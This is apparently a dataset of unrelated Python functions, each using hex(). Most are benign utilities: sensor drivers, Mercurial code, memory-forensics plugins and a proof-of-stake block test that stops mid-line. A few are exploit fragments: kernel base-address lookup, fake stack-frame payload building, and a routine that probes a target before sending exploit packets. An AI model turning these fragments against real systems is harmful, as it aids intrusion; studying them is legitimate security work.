def getPressure(self): milli = 0.001 oss = 3 # 0: ultra low power, 1: standard, 2: high resolution, 3: ultra high resolution c.f. datasheet ossWaitTime = [4.5, 7.5, 13.5, 23.5] try: print('BARO pressure measuring beginning') print('reading pressure') self.bus.write_byte_data(self.address, 0xf4, 0x34 + (oss << 6)) time.sleep(ossWaitTime[oss] * milli) msb = self.read_byte_i2c(0xf6) print('msb ', hex(msb)) lsb = self.read_byte_i2c(0xf7) print('lsb ', hex(lsb)) xlsb = self.read_byte_i2c(0xf8) print('xlsb ', hex(xlsb)) print('bitshifted ', ((((msb << 8) | lsb) << 8) | xlsb) >> (8 - oss)) up = ((((msb << 8) | lsb) << 8) | xlsb) >> (8 - oss) print('UP ' ,up) ut = self.getUt() b5 = self.calcb5(ut, self.ac5, self.ac6, self.mc, self.md) print('b5', b5) print('calculating true pressure') true_pressure = self.calcTruePressure(self.ac1, self.ac2, self.ac3, self.ac4, up, self.b1, self.b2, b5, oss) print('true pressure ', true_pressure) return true_pressure except IOError as e: print('I/O error:') diag = subprocess.call(['i2cdetect', '-y', '1']) print(diag) except Exception as e: print('Error: ' + str(e))
def getRegWithDisp(cls, r_m, mode, disp): # get register name with displacement if disp > 0: dispstr = '+' + hex(disp) elif disp < 0: dispstr = hex(disp) else: dispstr = '' if r_m == 0b000: return 'bx+si' + dispstr elif r_m == 0b001: return 'bx+di' + dispstr elif r_m == 0b010: return 'bp+si' + dispstr elif r_m == 0b011: return 'bp+di' + dispstr elif r_m == 0b100: return 'si' + dispstr elif r_m == 0b101: return 'di' + dispstr elif r_m == 0b110: if mode == 0b00: return dispstr else: return 'bp' + dispstr elif r_m == 0b111: return 'bx' + dispstr
def verify_link(wwn, phy, atta_wwn, atta_phy, number): """ helper to verify connection in both direction. """ def verify(wwn, phy, atta_wwn, atta_phy): """ verify connection in one direction. """ self.assertIn(wwn, topology.keys(), "Mismatch expander [{}]".format(wwn)) links = topology[wwn]["subs"] self.assertIn(phy, links.keys(), "Mismatch phy {} in expander {}".format(phy, wwn)) atta = links[phy] self.assertEqual( atta_wwn, atta["atta_wwn"], "Mismatch atta_wwn {} in phy {} of exp {}".format(atta_wwn, phy, wwn)) self.assertEqual( atta_phy, atta["atta_phy"], "Mismatch atta_phy {} in phy {} of exp {}".format(atta_phy, phy, wwn)) # verify conections wwn = hex(wwn) atta_wwn = hex(atta_wwn) for index in range(number): verify(wwn, phy + index, atta_wwn, atta_phy + index) verify(atta_wwn, atta_phy + index, wwn, phy + index)
def writefirefoxtrees(repo): """Write the firefoxtrees node mapping to the filesystem.""" lines = [] trees = {} for tree, node in sorted(repo.firefoxtrees.items()): assert len(node) == 20 lines.append('%s %s' % (tree, hex(node))) trees[tree] = hex(node) _firefoxtreesrepo(repo).vfs.write('firefoxtrees', '\n'.join(lines)) # Old versions of firefoxtrees stored labels in the localtags file. Since # this file is read by Mercurial and has no relevance to us any more, we # prune relevant entries from this file so the data isn't redundant with # what we now write. localtags = repo.opener.tryread('localtags') havedata = len(localtags) > 0 taglines = [] for line in localtags.splitlines(): line = line.strip() node, tag = line.split() tree, uri = resolve_trees_to_uris([tag])[0] if not uri: taglines.append(line) if havedata: repo.vfs.write('localtags', '\n'.join(taglines))
def _expand_regname(self,name,offset,var): """ Expand register name according to loop variable found in the *.xls sheet CRI_LH_CR_DA_LO_$k => CRI_LH_CR_DA_LO_0 Args: name: name of register offset: address offset value var : loop variable found in *.xls sheet. """ if (var == 0): hexaddress = str(hex(offset)) res = '{0:35} {1:10}'.format(name,offset) print res self.outfile.write(res + ' ' + hexaddress + '\n') else: for addr in range(0,var): b = name.find('$') hexaddress = str(hex(offset+addr)) res = '{0:35} {1:10}'.format((name[0:b]+ str(addr)),(offset+addr)) print res # print to outfile self.outfile.write(res + ' ' + hexaddress + '\n') print '' self.outfile.write('\n')
def create_discovery_packet (self, dpid, port_num, port_addr): """ Build discovery packet """ chassis_id = pkt.chassis_id(subtype=pkt.chassis_id.SUB_LOCAL) chassis_id.id = bytes('dpid:' + hex(long(dpid))[2:-1]) # Maybe this should be a MAC. But a MAC of what? Local port, maybe? port_id = pkt.port_id(subtype=pkt.port_id.SUB_PORT, id=str(port_num)) ttl = pkt.ttl(ttl = self._ttl) sysdesc = pkt.system_description() sysdesc.payload = bytes('dpid:' + hex(long(dpid))[2:-1]) discovery_packet = pkt.lldp() discovery_packet.tlvs.append(chassis_id) discovery_packet.tlvs.append(port_id) discovery_packet.tlvs.append(ttl) discovery_packet.tlvs.append(sysdesc) discovery_packet.tlvs.append(pkt.end_tlv()) eth = pkt.ethernet(type=pkt.ethernet.LLDP_TYPE) eth.src = port_addr eth.dst = pkt.ETHERNET.NDP_MULTICAST eth.payload = discovery_packet po = of.ofp_packet_out(action = of.ofp_action_output(port=port_num)) po.data = eth.pack() return po.pack()
def __repr__(self): """ Return information about image. """ adr = self._pixels.ptr() return '<ImagePRGBA object at %s Width=%i, Height=%i, Pitch=%i, Pixels=%s>' % \ (hex(id(self)), self.width, self.height, self.pitch, hex(adr))
def __init__(self, key=None, IV=None, algorithm=ALG_DES_EDE3_CBC, do_encryption=None, encoding=None): """Initialize a new Cipher object, that can be used to encrypt arbitrary data. if key is None, asume encryption and generate a random key (128 byte). if do_encryption is None and key is None, asume encryption mode if do_encryption is None and key is not None, asume decryption if do_encryption is True, encrypt data if do_encryption is False, decrypt data encoding is a python-callable, that gets called on the data after/before encryption/decryption the default is base64 """ if key is None: # generate random key key = hex(self.__random_value(16))[2:].rstrip("L") if do_encryption is None: # asume encryption do_encryption = True elif key is not None and do_encryption is None: # asume decryption do_encryption = False if IV is None: if not do_encryption: raise ValueError("I need the initial vector for decryption") # generate a random initial vector IV = hex(self.__random_value(16))[2:].rstrip("L") assert do_encryption is not None self.__do_encryption = do_encryption self.__key = key self.__IV = IV self.__algorithm = algorithm
def main(): # Instantiate the Infrared-Thermopile Sensor on I2C on bus 1 mySensor = TMP006.TMP006(1) ## Exit handlers ## # This stops python from printing a stacktrace when you hit control-C def SIGINTHandler(signum, frame): raise SystemExit # This lets you run code on exit, # including functions from mySensor def exitHandler(): print("Exiting") sys.exit(0) # Register exit handlers atexit.register(exitHandler) signal.signal(signal.SIGINT, SIGINTHandler) # activate periodic measurements mySensor.setActive(); # Print out temperature value and config-reg in hex every 0.5 seconds while(1): mySensor.getTemperature(True) hex(mySensor.getConfig()) time.sleep(.5)
def run(self, bus_port): global bus bus = socket.socket() bus.connect(("127.0.0.1", bus_port)) while not self.quit: timeout = 0 if not self.running: timeout = 1 # Currently this handler blocks from the moment # a connection is accepted until the response # is sent. TODO: use an async HTTP server that # handles input data asynchronously. sockets = [self.control_server] rs, _, _ = select.select(sockets, [], [], timeout) for s in rs: if s is self.control_server: self.control_server._handle_request_noblock() else: pass count = 1000 while count > 0 and self.running: self.cycles += 2 # all instructions take this as a minimum op = self.read_pc_byte() func = self.ops[op] if func is None: print "UNKNOWN OP" print hex(self.program_counter - 1) print hex(op) break else: self.ops[op]() count -= 1
def create_cursor(self): # TODO: coverage for server side cursors + select.for_update() if self.dialect.server_side_cursors: is_server_side = \ self.execution_options.get('stream_results', True) and ( (self.compiled and isinstance(self.compiled.statement, expression.Selectable) \ or \ ( (not self.compiled or isinstance(self.compiled.statement, expression._TextClause)) and self.statement and SERVER_SIDE_CURSOR_RE.match(self.statement)) ) ) else: is_server_side = self.execution_options.get('stream_results', False) self.__is_server_side = is_server_side if is_server_side: # use server-side cursors: # http://lists.initd.org/pipermail/psycopg/2007-January/005251.html ident = "c_%s_%s" % (hex(id(self))[2:], hex(_server_side_id())[2:]) return self._dbapi_connection.cursor(ident) else: return self._dbapi_connection.cursor()
def invoke(self, _arg, _from_tty): self.__allg = Allg() while True: ptr = self.__allg.fetch() # print("fetched ptr = {0}".format(hex(ptr))) if not ptr: break st = self.__allg.Status(ptr) # print("status is {0}".format(st)) w = self.__allg.WaitReason(ptr) # print("waitreason is {0}".format(w)) #if st == 6: # 'gdead' #print("skipping over dead goroutine") #continue s = ' ' m = self.__allg.M(ptr) if m: s = '*' # if the status isn't "waiting" then the waitreason doesn' tmatter if st != 4: w = '' w2 = w.split('"') if len(w2) > 1: w = """waitreason="{0}\"""".format(w2[len(w2) - 2]) pc = self.__allg.Pc(ptr) # print("pc is {0}".format(pc)) blk = gdb.block_for_pc(pc) # print("blk is {0}".format(blk)) goid = self.__allg.Goid(ptr) a = "fname={0} faddr={1}".format(blk.function, hex(pc)) print(s, goid, "{0:8s}".format(sts[st]), a, "&g={0}".format(hex(ptr)), w)
def GetBase(drvname=None): EVIL_ARRAY = 1024 myarray = c_ulong * EVIL_ARRAY lpImageBase = myarray() cb = c_int(1024) lpcbNeeded = c_long() drivername_size = c_long() drivername_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddr in lpImageBase: drivername = c_char_p("\x00"*drivername_size.value) if baseaddr: Psapi.GetDeviceDriverBaseNameA(baseaddr, drivername, drivername_size.value) if drvname: if drivername.value.lower() == drvname: print "[>] Retrieving %s information." % drvname print "[>] %s base address: %s" % (drvname, hex(baseaddr)) return baseaddr else: if drivername.value.lower().find("krnl") !=-1: print "[>] Retrieving Kernel information." print "[>] Kernel version: ", drivername.value print "[>] Kernel base address: %s" % hex(baseaddr) return (baseaddr, drivername.value) return None
def __str__(self): """return a human readable version of an ARP packet""" retval = "ARP\n" retval += "hrd: " retval += "%d\n" % self.hrd retval += "pro: " retval += "%d\n" % self.pro retval += "hln: " retval += "%d\n" % self.hln retval += "pln: " retval += "%d\n" % self.pln retval += "op: " retval += "%d\n" % self.op retval += "sha: " if len(self.sha) >= 6: for byte in range(0,5): retval += "%s:" % hex(ord(self.sha[byte]))[2:4] retval += "%s\n" % hex(ord(self.sha[5]))[2:4] retval += "spa: " retval += "%s\n" % inet_ntop(AF_INET, struct.pack('!L', self.spa)) retval += "tha: " if len(self.tha) >= 6: for byte in range(0,5): retval += "%s:" % hex(ord(self.tha[byte]))[2:4] retval += "%s\n" % hex(ord(self.tha[5]))[2:4] retval += "tpa: " retval += "%s\n" % inet_ntop(AF_INET, struct.pack('!L', self.tpa)) return retval
def __add__(self, other): """Combine two faked frames. The expected left operand should be either a starting faked frame or a resulting frame constructed by previous combination, while the right operand a normal frame. """ if isinstance(other, Shellcode): # TODO: Support adding shellcode. # This is not supported at present. address = hex(int(self.address, 16) + len(other.sc)) payload = ( self.filling_byte*( self.offset-self.POINTER_SIZE) + p32(address) + p32(self.leave_ret) + other.sc) elif other.next_address: address = other.next_address payload = ( self.payload + p32(address) + p32(address) + p32(self.leave_ret)) else: address = hex((int(self.address, 16) + 3*self.POINTER_SIZE + len(other.args)*self.POINTER_SIZE)) payload = (self.payload + p32(address) + p32(self.resolver.get(other.name)) + p32(self.leave_ret) + other.make_args()) # Construct a resulting frame. return self.__class__(address=address, payload=payload)
def __repr__(self): if self.cdn: return '<RH cdn Repo: {0} within distro:{1}, object: {2}>'.format( self.data['repository'], self.distro, hex(id(self))) else: return '<RH custom Repo url: {0} object: {1}>'.format( self.url, hex(id(self)))
def GetMediaSvrPort(target): sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((target,111)) sock.send(rpc_portmap_req) rec = sock.recv(256) sock.close() port1 = rec[-4] port2 = rec[-3] port3 = rec[-2] port4 = rec[-1] port1 = hex(ord(port1)) port2 = hex(ord(port2)) port3 = hex(ord(port3)) port4 = hex(ord(port4)) port = '%02x%02x%02x%02x' % (int(port1,16),int(port2,16),int(port3,16),int(port4,16)) port = int(port,16) if port < 1100: print '[+] Fresh Meat: Mediasvr.exe has not been restarted, Sending Packet 1 to: Target: %s Port: %s' %(target,port) ExploitMediaSvr(target,port,1) else: print '[+] Mediasvr.exe has been restarted, Sending Packet 2 to: Target: %s Port: %s' % (target,port) ExploitMediaSvr(target,port,2)
def single(rev, seqno, fp): ctx = repo[rev] node = ctx.node() parents = [p.node() for p in ctx.parents() if p] branch = ctx.branch() if switch_parent: parents.reverse() prev = (parents and parents[0]) or nullid if not fp: fp = cmdutil.make_file(repo, template, node, total=total, seqno=seqno, revwidth=revwidth, mode='ab') if fp != sys.stdout and hasattr(fp, 'name'): repo.ui.note("%s\n" % fp.name) fp.write("# HG changeset patch\n") fp.write("# User %s\n" % ctx.user()) fp.write("# Date %d %d\n" % ctx.date()) if branch and (branch != 'default'): fp.write("# Branch %s\n" % branch) fp.write("# Node ID %s\n" % hex(node)) fp.write("# Parent %s\n" % hex(prev)) if len(parents) > 1: fp.write("# Parent %s\n" % hex(parents[1])) fp.write(ctx.description().rstrip()) fp.write("\n\n") for chunk in diff(repo, prev, node, opts=opts): fp.write(chunk)
def write_multicode_table(table_name, table_data): table_data.sort() print 'static const entity_multicode_table_t %s {' % table_name for ((code1, code2), entity) in table_data: print ' {{%s, %s}, "%s"},' % (hex(code1), hex(code2), entity) print '};' print
def addr_convert(v_addr, mem, disk): bin_v_addr = format(int(v_addr, 16),'015b') pde_id = int(bin_v_addr[0:5], 2) pte_id = int(bin_v_addr[5:10], 2) offset = int(bin_v_addr[10:15], 2) base_addr = int("0xd80", 16) pde_addr = format(pde_id + base_addr,'012b') pfn = mem[int(pde_addr[0:7],2)][int(pde_addr[7:12],2)] pfn = format(int(pfn, 16), '08b') valid_pfn = pfn[0:1] print ("pde_index: "+ str(hex(pde_id))) print ("pde_content: "+ str(pfn)+ " valid: "+ str(valid_pfn)+" pfn: "+str(hex(int(pfn[1:8], 2)))) if( not eval(valid_pfn)): print("Fault!") return pte_base_addr = pfn[1:8] #print("pte_addr: "+ str(pte_addr)) #print(str(pte_base_addr)) ptn = mem[int(pte_base_addr,2)][pte_id] ptn = format(int(ptn, 16), '08b') valid_ptn = ptn[0:1] print ("pte_index: "+ str(hex(pte_id))) print ("pte_content: "+ str(ptn)+ " valid: "+ str(valid_ptn)+" ptn: "+str(hex(int(ptn[1:8], 2)))) if(not eval(valid_ptn)): print("Fault! Search in disk!") value = disk[int(ptn[1:8], 2)][offset] print ("--> value: 0x"+ str(value)) return value = mem[int(str(ptn[1:8]), 2)][offset] print ("--> value: 0x"+ str(value))
def ToNum(x): out = 0 for b in x: out <<= 8 out |= ord(b) print hex(out) return out
def _writetagcache(ui, repo, valid, cachetags): filename = _filename(repo) try: cachefile = repo.vfs(filename, 'w', atomictemp=True) except (OSError, IOError): return ui.log('tagscache', 'writing .hg/%s with %d tags\n', filename, len(cachetags)) if valid[2]: cachefile.write('%d %s %s\n' % (valid[0], hex(valid[1]), hex(valid[2]))) else: cachefile.write('%d %s\n' % (valid[0], hex(valid[1]))) # Tag names in the cache are in UTF-8 -- which is the whole reason # we keep them in UTF-8 throughout this module. If we converted # them local encoding on input, we would lose info writing them to # the cache. for (name, (node, hist)) in sorted(cachetags.iteritems()): for n in hist: cachefile.write("%s %s\n" % (hex(n), name)) cachefile.write("%s %s\n" % (hex(node), name)) try: cachefile.close() except (OSError, IOError): pass
def idt(self): """Volatility idt plugin. @see volatility/plugins/malware/idt.py """ results = [] command = self.plugins["idt"](self.config) for n, entry, addr, module in command.calculate(): if module: module_name = str(module.BaseDllName or "") sect_name = command.get_section_name(module, addr) else: module_name = "UNKNOWN" sect_name = '' # The parent is IDT. The grand-parent is _KPCR. cpu_number = entry.obj_parent.obj_parent.ProcessorBlock.Number new = { "cpu_number": int(cpu_number), "index": int(n), "selector": hex(int(entry.Selector)), "address": hex(int(addr)), "module": module_name, "section": sect_name, } results.append(new) return dict(config={}, data=results)
def _parse_range(self, value_range): (lb, ub) = value_range if lb == ub: if lb > 0xffff: return "== %s" % hex(lb) else: return "== %d" % lb elif ub == MAX_S64 or ub == MAX_S32 or ub == MAX_S16 or ub == MAX_S8: if lb == 1: return "> 0" else: return ">= %d" % lb elif lb == MIN_S64 or lb == MIN_S32 or ub == MIN_S16 or ub == MIN_S8: if ub == -1: return "< 0" else: return "<= %d" % ub elif ub == MAX_U64 or ub == MAX_U32 or ub == MAX_U16 or ub == MAX_U8: assert(lb >= 0) if lb == MAX_ERRNO: return "== ERROR_VALUE" elif lb == 1: return "!= 0" else: return ">= %d" % lb elif lb == 0 and ub == (MAX_ERRNO-1): return "!= ERROR_VALUE" elif lb == 1 and ub == (MAX_ERRNO-1): return "!= 0 && != ERROR_VALUE" else: if ub > 0xffff: return ">= %d && <= %s" % (lb, hex(ub)) else: return ">= %d && <= %d" % (lb, ub)
def convert_to_hex(): """ convert one or more arguments from decimal to hex """ print sys.argv args = sys.argv del args[0] for num in args: print hex(int(num))
def __init__(self, context): # Align file to nearest word file_object = context.file_object align(file_object) out(context,'Object Header @ %s' % hex(file_object.tell()) ) context.indent() self.mtype = read_num(file_object.read(2)) out(context,'Type: %s' % hex(self.mtype)) self.size = read_num(file_object.read(2)) out(context,'Size: %s' % self.size) self.flags = read_num(file_object.read(1)) file_object.read(3) # Reserved end_offset = file_object.tell() + self.size if self.mtype == 0x00: # NIL Block out(context,'Nil Block') elif self.mtype == 0x01: self.dataspace_message = DataspaceMessage(context) elif self.mtype == 0x03: self.datatype_message = DatatypeMessage(context) elif self.mtype == 0x05: self.fill_value_message = FillValueMessage(context) elif self.mtype == 0x0010: # Continuation block self.continuation = ContinuationMessage(context) context.object_eof[-1] = self.continuation.continuation_length + self.continuation.continuation_offset # Go to the offset file_object.seek(self.continuation.continuation_offset) elif self.mtype == 0x0011: self.symbol_table_message = SymbolTableMessage(context) elif self.mtype == 0x000C: self.attr = AttributeMessage(context) if self.attr.is_vlen_str(): foffset = file_object.tell() file_object.seek(self.attr.global_heap_addr) global_heap = GlobalHeap(context) self.attr.vlen_str = global_heap.objects[ self.attr.global_heap_index ].data file_object.seek(foffset) out(context,'Vlen-str Value: %s' % self.attr.vlen_str) else: out(context,'Unknown type') file_object.read(self.size) # if self.mtype != 0x0010: file_object.seek(end_offset) # Properly move to the end even if all the fields weren't read context.unindent()
def print(self): if self.chan_type == 'P': channel_str = self.chan_type + self.chan_id + ']' else: channel_str = self.chan_type + self.chan_id + ']' + ' peer=' + self.peer_ip + ':' + self.peer_pid + '/' + self.peer_id print(" CHANNEL: [channel", channel_str) socket_dict = {} for socket in self.sockets: socket_dict[socket.pri] = (socket.paused, socket.connected, socket.state) socket_str = "" for i in [0,1,2,3,4]: try: socket_str += 'pri-'+str(i)+' '+str(['-', 'P'][socket_dict[0][0]])+'/'+str(['-','C'][socket_dict[0][1]])+'/'+str(socket_dict[0][2])+' ' except: pass print(" SOCKETS:", socket_str) if len(self.methbindings) > 0: print(" METHODS:") method_dict = {} for methbinding in self.methbindings: try: method_dict[hex(methbinding.pathhash).rstrip("L")][1].append(tuple((methbinding.payt, methbinding.methno))) except KeyError: method_dict[hex(methbinding.pathhash).rstrip("L")] = tuple((methbinding.path, [tuple((methbinding.payt, methbinding.methno))])) #THE FOLLOWING CODE PRINTS METHODS IN A DIFFERENT STYLE #method_dict[methbinding.pathhash] = method_dict[methbinding.pathhash].append((methbinding.payt, methbinding.methno)) #method_str = hex(methbinding.pathhash).rstrip("L") + ' payt ' + str(methbinding.payt) + ' methno ' + str(methbinding.methno) + ' path=' + methbinding.path #print(" ", method_str) for phash in method_dict.keys(): method_str = "" count = 0 for i in method_dict[phash][1]: count+=1 method_str += str(i) + ['\n ', ' '][int(count%4!=0)] print(" path=%s (%s)\n (payt, methno)s: %s" %(method_dict[phash][0], phash, method_str))
def timers(self): """Volatility timers plugin. @see volatility/plugins/malware/timers.py """ results = [] command = self.plugins["timers"](self.config) for timer, module in command.calculate(): if timer.Header.SignalState.v(): signaled = "Yes" else: signaled = "-" if module: module_name = str(module.BaseDllName or "") else: module_name = "UNKNOWN" due_time = "{0:#010x}:{1:#010x}".format(timer.DueTime.HighPart, timer.DueTime.LowPart) new = { "offset": hex(timer.obj_offset), "due_time": due_time, "period": int(timer.Period), "signaled": signaled, "routine": hex(int(timer.Dpc.DeferredRoutine)), "module": module_name, } results.append(new) return dict(config={}, data=results)
def WriteDACs(scanstart, scanstop, scanstep): DAC_Chip = range(0,8,1) DAC_Channel = ("CMD0", "CMD1", "CMD2", "CMD3") scanstart = 0 scanstop = 2500 scanstep = 250 scanstart = int(scanstart) scanstop = int(scanstop) scanstep = int(scanstep) TestVoltages = range(scanstart, scanstop, scanstep) TestVoltages.append(2490) print "Test voltages: ", TestVoltages for chip in DAC_Chip: chip = str(chip) print "chip:", chip for channel in DAC_Channel: for mVolts in range(scanstart, scanstop, scanstep): print "new mV setting:", mVolts stepdata = int(mVolts*4096/2500) # -> INCREMENT DAC VOLTAGES: proc.writeAD5624_adcboard(channel,hex(stepdata),chip) proc.writeAD5624_adcboard(channel,hex(stepdata),chip) time.sleep(1) time.sleep(60)
def command_otr(self, args): """ A command to start or end OTR encryption """ args = args.split() if not args: return self.core.command_help("otr") if isinstance(self.core.current_tab(), ConversationTab): jid = JID(self.core.current_tab().get_name()) command = args[0] if command == 'start': otr_state = self.get_otr(self.core.current_tab()) self.otr_say(self.core.current_tab(), otr_state.start().decode()) elif command == 'end': otr_state = self.get_otr(self.core.current_tab()) msg = otr_state.end() if msg is not None: self.otr_say(self.core.current_tab(), msg.decode()) elif command == 'fpr': otr_state = self.get_otr(self.core.current_tab()) our = otr_state.our_fpr if our: our = hex(int.from_bytes(our, 'big'))[2:].ljust(40).upper() their = otr_state.their_fpr if their: their = hex(int.from_bytes(their, 'big'))[2:].ljust(40).upper() self.core.current_tab().add_message('Your: %s Their: %s' % (our, their)) self.core.refresh_window()
def get_device_color(self): color = Gdk.RGBA() color.parse(hex(AURA_INTERFACE.get_color()).replace("0x", "#")) return color
def __repr__(self): return '<%s at %s %s>' % (type(self).__name__, hex(id(self)), self._formatinfo())
def tnefparse(): "command-line script" if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() if args.logging: level = eval("logging." + args.logging) logging.root.setLevel(level) for tfp in args.file[0]: try: t = TNEF(tfp.read(), do_checksum=args.checksum) except ValueError as exc: sys.exit(exc.message) if args.overview: print("\nOverview of %s: \n" % tfp.name) # list TNEF attachments print(" Attachments:\n") for a in t.attachments: print(" " + a.name) # list TNEF objects print("\n Objects:\n") print(" " + "\n ".join([TNEF.codes[o.name] for o in t.objects])) # list TNEF MAPI properties print("\n Properties:\n") for p in t.mapiprops: try: print(" " + properties.CODE_TO_NAME[p.name]) except KeyError: logging.root.warning("Unknown MAPI Property: %s" % hex(p.name)) print("") elif args.dump: print( json.dumps(t.dump(force_strings=True), sort_keys=True, indent=4)) elif args.attachments: pth = args.path.rstrip(os.sep) + os.sep if args.path else '' for a in t.attachments: with open(pth + a.name, "wb") as afp: afp.write(a.data) sys.stderr.write("Successfully wrote %i files\n" % len(t.attachments)) sys.exit() def print_body(attr, description): body = getattr(t, attr) if body is None: sys.exit("No %s found" % description) elif isinstance(body, bytes): sys.stdout.write(body.decode('latin-1')) else: sys.stdout.write(body) if args.body: print_body("body", "body") if args.htmlbody: print_body("htmlbody", "HTML body") if args.rtfbody: print_body("rtfbody", "RTF body")
import random f = open('flag-gif.EnCiPhErEd', 'rb').read() keys = [x.strip() for x in open('keys.txt').readlines()] output = "" for x in range(len(f)): output += chr(ord(f[x]) ^ int(hex(int(keys[x]))[-2:], 16)) print output
def get_tests(self): self.node = self.nodes[0] # returns a test case that asserts that the current tip was accepted def accepted(): return TestInstance([[self.tip, True]]) # returns a test case that asserts that the current tip was rejected def rejected(reject=None): if reject is None: return TestInstance([[self.tip, False]]) else: return TestInstance([[self.tip, reject]]) # First generate some blocks so we have some spendable coins block_hashes = self.node.generate(25) for i in range(COINBASE_MATURITY): self.tip = create_block( int(self.node.getbestblockhash(), 16), create_coinbase(self.node.getblockcount() + 1), int(time.time())) self.tip.solve() yield accepted() for _ in range(10): self.node.sendtoaddress(self.node.getnewaddress(), 1000) block_hashes += self.node.generate(1) blocks = [] for block_hash in block_hashes: blocks.append(self.node.getblock(block_hash)) # These are our staking txs self.staking_prevouts = [] self.bad_vout_staking_prevouts = [] self.bad_txid_staking_prevouts = [] self.unconfirmed_staking_prevouts = [] for unspent in self.node.listunspent(): for block in blocks: if unspent['txid'] in block['tx']: tx_block_time = block['time'] break else: assert (False) if unspent['confirmations'] > COINBASE_MATURITY: self.staking_prevouts.append( (COutPoint(int(unspent['txid'], 16), unspent['vout']), int(unspent['amount']) * COIN, tx_block_time)) self.bad_vout_staking_prevouts.append( (COutPoint(int(unspent['txid'], 16), 0xff), int(unspent['amount']) * COIN, tx_block_time)) self.bad_txid_staking_prevouts.append( (COutPoint(int(unspent['txid'], 16) + 1, unspent['vout']), int(unspent['amount']) * COIN, tx_block_time)) if unspent['confirmations'] < COINBASE_MATURITY: self.unconfirmed_staking_prevouts.append( (COutPoint(int(unspent['txid'], 16), unspent['vout']), int(unspent['amount']) * COIN, tx_block_time)) # First let 25 seconds pass so that we do not submit blocks directly after the last one #time.sleep(100) block_count = self.node.getblockcount() # 1 A block that does not have the correct timestamp mask t = int(time.time()) | 1 (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts, nTime=t) self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 2 A block that with a too high reward (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts, outNValue=30006) self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 3 A block with an incorrect block sig bad_key = CECKey() bad_key.set_secretbytes(hash256(b'horse staple battery')) (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.sign_block(bad_key) self.tip.rehash() yield rejected() # 4 A block that stakes with txs with too few confirmations (self.tip, block_sig_key) = self.create_unsigned_pos_block( self.unconfirmed_staking_prevouts) self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 5 A block that with a coinbase reward (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.vtx[0].vout[0].nValue = 1 self.tip.hashMerkleRoot = self.tip.calc_merkle_root() self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 6 A block that with no vout in the coinbase (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.vtx[0].vout = [] self.tip.hashMerkleRoot = self.tip.calc_merkle_root() self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 7 A block way into the future t = (int(time.time()) + 100) & 0xfffffff0 (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts, nTime=t) self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 8 No vout in the staking tx (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.vtx[1].vout = [] self.tip.hashMerkleRoot = self.tip.calc_merkle_root() self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 9 Unsigned coinstake. (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts, signStakeTx=False) self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 10 A block without a coinstake tx. (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.vtx.pop(-1) self.tip.hashMerkleRoot = self.tip.calc_merkle_root() self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 11 A block without a coinbase. (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.vtx.pop(0) self.tip.hashMerkleRoot = self.tip.calc_merkle_root() self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 12 A block where the coinbase has no outputs (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.vtx[0].vout = [] self.tip.hashMerkleRoot = self.tip.calc_merkle_root() self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 13 A block where the coinstake has no outputs (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.vtx[1].vout.pop(-1) self.tip.vtx[1].vout.pop(-1) stake_tx_signed_raw_hex = self.node.signrawtransaction( bytes_to_hex_str(self.tip.vtx[1].serialize()))['hex'] f = io.BytesIO(hex_str_to_bytes(stake_tx_signed_raw_hex)) self.tip.vtx[1] = CTransaction() self.tip.vtx[1].deserialize(f) self.tip.hashMerkleRoot = self.tip.calc_merkle_root() self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 14 A block with an incorrect hashStateRoot (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.hashStateRoot = 0xe self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 15 A block with an incorrect hashUTXORoot (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.hashUTXORoot = 0xe self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 16 A block with an a signature on wrong header data (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.sign_block(block_sig_key) self.tip.nNonce = 0xfffe self.tip.rehash() yield rejected() # 17 A block with where the pubkey of the second output of the coinstake has been modified after block signing (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) scriptPubKey = self.tip.vtx[1].vout[1].scriptPubKey # Modify a byte of the pubkey self.tip.vtx[1].vout[ 1].scriptPubKey = scriptPubKey[0:20] + bytes.fromhex( hex(ord(scriptPubKey[20:21]) + 1)[2:4]) + scriptPubKey[21:] assert_equal(len(scriptPubKey), len(self.tip.vtx[1].vout[1].scriptPubKey)) stake_tx_signed_raw_hex = self.node.signrawtransaction( bytes_to_hex_str(self.tip.vtx[1].serialize()))['hex'] f = io.BytesIO(hex_str_to_bytes(stake_tx_signed_raw_hex)) self.tip.vtx[1] = CTransaction() self.tip.vtx[1].deserialize(f) self.tip.hashMerkleRoot = self.tip.calc_merkle_root() self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 18. A 